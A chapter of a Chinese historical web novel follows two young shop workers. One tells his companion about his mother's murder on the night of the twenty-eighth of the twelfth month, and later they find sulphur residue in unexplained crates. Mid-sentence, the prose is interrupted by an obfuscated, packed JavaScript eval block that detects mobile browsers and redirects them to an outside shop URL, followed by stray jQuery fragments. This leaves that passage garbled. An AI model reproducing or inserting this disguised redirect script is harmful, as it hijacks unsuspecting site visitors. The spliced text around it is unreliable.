掌柜的不在，万年瓷器铺打烊时间比往日早了一些。四蛋是吴掌柜指定的顾铺人，阿征和郑小池都得听他的。
自从帮工回来，四蛋手头好像比往日宽裕些，人亦显得更精神。他已经二十了，尚未议亲。现在，搁置了许久的婚事又重新摆上日程。他家约了媒婆上门，申时三刻，四蛋就急匆匆地将阿征与郑小池推出门，锁上铺子走了。
四蛋大摇大摆的身影渐行渐远，一阵北方刮过，阿征和郑小池头皮直发凉——他俩的风帽还落在后院，郑小池无奈地摊摊手。
御史大人那边没有任何消息传来，高阳县城距离玄嘉城太远，即使空了下来，他们也没法前往打探情况。
二人沿着高阳县最热闹的街市缓步而行，青石板路上人影憧憧，叫卖声此起彼伏。走乏了，他们便往城根底下寻了家汤面铺子。铺面不大，只支着两张油亮的长条木桌，管铺的老翁手脚麻利，丁是丁，卯是卯，一个面团在案板上反复摔打、揉搓。“两碗素面，多撒胡椒末儿。”郑小池搓搓冻得有些发红的手。
阿征突然问郑小池离元日还有几天，郑小池说已经腊月二十八了。他没再说话，眼睛一直望着一个虚空的点，一口面没嚼了两下就下了肚，没一会儿面碗光了，他仍在划拉。
郑小池眸光微动，欲言又止，只埋头吃面。
二人现在暂时栖身在城郊的一处破庙里。大殿的瓦片缺了大半，一抬头就能看见夜空。尚有残存屋顶的角落里，两扇破门扳上铺着捡来的干草，靠外的一扇铺有一条破褥子，内里的那个则铺着皮袄，这便是他们晚上歇脚的床铺了。
大殿内不见烛火，唯有冷月清辉从穹顶的残破处斜斜漏下，供台上缺了头的泥塑隐在阴影里，裂开的彩漆剥落处露出黄土芯子，乍看竟似个蜷着背脊的人影。穿堂风掠过墙隙时，碎叶便在泥塑脚边簌簌游走，恍若窃语。
刘五儿不在，郑小池与阿征单独相处，难免有些尴尬。她背对着阿征，面壁而卧，墙上散发出一股陈年的香油味。郑缨曾和同学看过不少鬼片，这个破庙实在是太契合那种鬼气森森的氛围。几只老鼠呲溜溜爬过，她不由得弓起背，悄悄往阿征那边贴了贴。
阿征回来了以后，一直情绪低落得很，捣鼓了一会从草棚带来的小包袱，早早便躺下了。
此刻，郑小池敏锐的感觉到他的肩膀在微微颤抖。
郑小池轻声喊道：“阿征？”
“嗯？”阿征背对着她，偷偷擦掉未及滑落的泪珠，瓮声瓮气地，“还没睡么？”
“你是不是有心事？”郑小池翻了下身，仰面躺在门板上，“今天是一个特别的日子吗？”
阿征没有反驳。
那就是了，郑小池想。
“阿征，你是我最好的伙伴，我想听你的故事。你的感受对我来说……很重要。”稍作停顿之后，郑小池补充了一句，“当然，如果你想说的话。”
阿征没动，沉默了片刻之后，他幽幽地叹了口气。
阿征其实不叫阿征，尚在襁褓中的他被人摔在路边的草丛中，晕了过去。他的阿娘中刀而死，一刀毙命。同时被杀的还有驾车的车夫与随行的婢女。
天蒙蒙亮的时候，村里的一个老农起来磨豆子点豆腐，听到孩子的哭泣，循声而去，发现了命案现场。
那一日，便是腊月二十八。
衙门来的人草草查勘了现场，又稀里糊涂地结了案，只说是身份不明的某家家眷遭遇了谋财害命的山贼。
阿娘的东西皆被衙门的人收走做了证物，留下的仅有塞在襁褓中的一个木雕人偶和一方丝帕。丝帕未绣任何字，只一角，绣有一朵淡粉色的合欢花。
老农收留了他，给他起名“阿征”，没有姓氏，所以并不算老农的儿子。豆腐老农人很勤快，每日从清晨忙到日暮，依然家贫如洗，一辈子未曾娶过妻。阿征是吃豆渣、喝野菜糊糊长大的。
老农别的都好，就是气性大，阿征从小调皮捣蛋，常被揍得青一块紫一块。或许是被打的太多了太狠了，老农不打他的时候，他便觉得日子过得挺好。
两个人在一起相依为命，阿征大了，就给老农打下手，学做豆腐。能赚到钱，老农喝酒，阿征喝甜浆。赚不到钱，割些野菜煮豆渣饼，亦可饱腹。
生活仿佛可以这样平平凡凡地一直过下去。阿征以为，自己长大了会成为新的豆腐老农，或许可以再捡个孩子回来，过一生。
后来，村里有人家失火，连着烧了几户。老农闻讯去救，不幸被倒下的房梁砸死了。老农的堂兄过来，办了个潦草的丧仪，收走了两间破屋，将阿征赶了出去。
阿征又没有家了，他开始了漂泊，一开始在村子里流浪，轮流歇在各家稻草堆里，乞百家饭，倒也凑合过活。有时还能得到别人施舍的旧衣破袜。
但灾荒来了，无食可乞，野菜野草全刨光了，村民们四处逃难，他也走了，没有方向。再然后，就遇到了郑小池。
那人偶与丝帕，就藏在小包袱里，他逃到哪里都没落下。阿征要面子，他怕郑小池和刘五儿笑话。
一股脑将自己的过往倾诉出来，他有些哽咽。
郑小池侧头，阿征的眼睛亮晶晶的，睫毛的影子斜斜地铺下来，月光映在他的瞳仁里，成了一个会颤抖的光点。
郑小池指向浩瀚星辰，说：“我家乡有个说法，死去的人会变成天上的星星，到了晚上就出来，你一抬头就能看见……你看星星的时候，你的阿娘也在看着你……哪怕闭上眼，星光依然在黑暗中闪烁……”
“变成星星……”阿征呢喃着，唇边浮现出一抹笑意，“星星很美，阿娘也很美……我死后，也变成星星，就和阿娘在一处了……”
“不，你要活到很老很老，要顺遂一生，你会娶妻生子、安身立命，你阿娘看见了更开心，变得更美。”郑小池说得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864363|212144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
斩钉截铁。
“我……我变成阿翁了……阿娘就认不出我了……”阿征嘴唇颤抖。
郑小池的脸上出现一个浅浅的梨涡：“阿娘永远是阿娘，你就算到了八十岁，也还是你阿娘的宝贝啊，怎么会认不出你呢？放心好了。”
掌柜的终于回来了，几日不见，他圆润的脸颊稍微凹进去一些，下巴上冒出细碎的青茬。他顺手将一个镶蚌壳梨花木点心匣子搁在柜台上，查验了抽屉，又负起手在前堂转了一圈。
郑小池本本分分地迎客洒扫，铺子打理得井井有条，货架上亦一尘不染。吴掌柜点点头，从匣子里面摸出来两块酸梅饆饠赏给郑小池，其余的收进抽屉里。
“喏，赏你的！拿去和你哥一起吃。好好做，少不了你们的好处！”
柱子大跨步走到后院，一脚踏在水缸沿，伸手舀了一瓢水，就着水瓢喝得“咕嘟嘟”响。喝好了，他拎过一把椅子躺下，四蛋立马凑上去给他捏肩捶腿：“柱子哥，辛苦了啊，下次能不能让掌柜的把我也捎上……”
柱子不睬他，斜睨着阿征：“嘿！你！去把空箱拾掇拾掇，里外擦干净喽！”
阿征面色有些不郁，正要怼回去，郑小池走过来，将酸梅饆饠塞到他嘴里：“大哥，我与你一道，这是掌柜的赏的点心，分你一个吃。”
阿征一侧腮帮子鼓起来，咬得吱吱响，他白了柱子一眼，去马车上卸箱子。郑小池把点心一下子撂进嘴里，拍拍手，小跑着跟上他。
“咦，不是总共九个箱子吗？怎么多了三个？”郑小池的声音含糊不清。
阿征身形一滞：“多出来的，不是咱们铺子的啊……”郑小池扯了他的袖子，截断了他的话。
阿征眼神一凛，回头探视，柱子正美滋滋地枕着胳膊闭眼抖腿，四蛋蹲在一边给他剥花生米吃，嘀嘀咕咕不知道聊些什么。
阿征将其中一个木箱搬下来，那箱子的板材比万年瓷器铺的更厚实，颜色更深，铜锁扣做得也更为结实，郑小池蹲下身，掀开箱盖。
空箱子。里面什么也没有，但箱底四角的板材交接处，有一层薄薄的浅黄色粉末。郑小池屏住呼吸，凑近看。粉末摸上去干干的，毫无粗粝感，有股微弱的酸涩味——是硫磺粉末。
阿征又打开其他两个多出来的木箱，每个里面都有这种黄色粉末，只是分量和位置不一，并无规律，似乎只是运输途中颠簸，从其他什么东西里漏出来的。
阿征压低声音：“这是什么？怎么像爆竹里的味道？”
“硫磺粉。”郑小池站起来，拍拍膝盖上的灰尘，拿来一块抹布将箱内擦干净，然后将抹布向内折叠，偷偷揣进裤兜里。
阿征点点头，扯了另一块抹布递给郑小池，擦完的箱子摆到院中日照好的位置晾上。
看阿征过来，柱子从怀里掏出个东西，撂到四蛋手里，四蛋喜不自胜，连声道“谢柱子哥，谢柱子哥！”